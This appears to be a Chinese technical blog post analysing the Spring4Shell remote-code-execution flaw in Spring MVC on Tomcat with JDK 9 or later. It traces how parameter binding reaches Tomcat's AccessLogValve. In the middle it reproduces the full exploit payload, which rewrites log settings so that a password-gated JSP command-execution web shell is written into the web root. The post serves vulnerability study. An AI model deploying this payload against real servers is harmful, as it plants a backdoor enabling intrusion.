Spring4Shell的漏洞原理分析

俞正東發表於2022-04-02

Spring框架最新的PoC

這兩天出來的一個RCE漏洞,但是有以下的條件限制才行:

  • 必須是jdk9及以上
  • 必須是部署在tomcat的應用
  • 是springmvc的或者webflux的應用

具體的可以檢視spring官方:

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

我看到這個漏洞的時候,就去查了以下怎麼利用的,github一搜很多py指令碼。

但是我沒找到漏洞利用的原理,所以我就自己做了個demo,然後debugger了一下,原來是這樣~

漏洞利用的原理

我們都知道,我們在springmvc的時候經常會這麼寫程式碼來接收前端傳來的引數


@RequestMapping(value = "/register", method = RequestMethod.GET)
public String register(@RequestParam Map<String, String> requestparams, Model model) throws Exception {
    String email = requestparams.get("email");
    String username = requestparams.get("username");
    model.addAttribute("data", "email:" + email + " username:" + username);
    return "index";
}

如果我們這麼訪問:

http://localhost:8080/vulnerable_war/register?email=11&username=b

那麼返回的結果就是這樣:

 

image
image

那麼如果我們把接收的型別從Map轉成一個POJO的話,就像這樣:


@RequestMapping(value = "/register2", method = RequestMethod.GET)
public String register2(HelloWorld obj, Model model) throws Exception {
    model.addAttribute("data", obj.toString());
    return "index";
}
    

訪問一下:

image
image

這說明了,springmvc框架幫我們做了一個很重要的事情:

通過我們請求的資料,轉成了POJO物件。

恰巧就是這個非常好用的封裝導致了這個POC

解析POC第一步:到底構造了一個什麼資料會引發呢?

跑的環境是:

  • jdk11
  • tomcat8.5.58
  • spring-webmvc5.3.15

class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=


將上面的資料用下面post的方式呼叫下面的介面

image
image
 @RequestMapping(value = "/rapid7")
public void vulnerable(HelloWorld model) {

}

注意header裡面的值是需要的,目的是為了迎合tomcat日誌的pattern(下面會講到)

  • %i 這個語法是從請求的header裡面拿xxx

就會在tomcat的Root目錄下生成一個jsp檔案

image
image

內容如下:

image
image

計息POC第二步:jsp檔案是怎麼生成的?

方法接收的class:HelloWorld,我這麼傳,spring框架是怎麼來處理的呢?

image
image

根據HelloWorld的例項

結合傳過來屬性路徑: class.module.classLoader.resources.context.parent.pipeline.first.pattern

然後一步步的運用反射來去拿屬性對應的值,這個例子的話就是

  • 呼叫HelloWorld的getClass() 拿到Class物件
  • 通過class物件呼叫getModule()
  • 通過Module呼叫getClassLoader()
  • 通過ClassLoader拿resources
  • context是Tomcat的StandardContext
  • parent拿到的是StandardEngine
  • pipeline拿到的是StandardPipeline
  • first拿到的是AccessLogValve

可以在下圖所示設定斷點:就可以看到上面說的每一步了 image

主角上場: image

AccessLogValve是tomcat記錄日誌的,

  • pattern是日誌格式
  • suffix是日誌檔案的字尾
  • prefix是日誌檔案的字首
  • fileDateFormat是日期檔案的時間格式

謎底揭曉

根據以上分析,我們知道,傳過去的data由物件的class作為引子,然後springmvc會一步步反射拿屬性的方式最終是給AccessLogValve物件的幾個屬性的賦值操作

經過對tomcat的處理請求的日誌管道(AccessLogValve)的改寫,導致當前請求會被觸發記錄日誌,日誌會按照我們想要的方式生成了一個jsp檔案。

image
image

為啥是jdk9及以上版本呢,因為module的概念是從jdk9開始的~

為啥是得部署到tomcat裡的應用呢,因為只有這樣才會利用它的日誌功能~

spring是咋修復的

image

 

Spring4Shell的漏洞原理分析

相關文章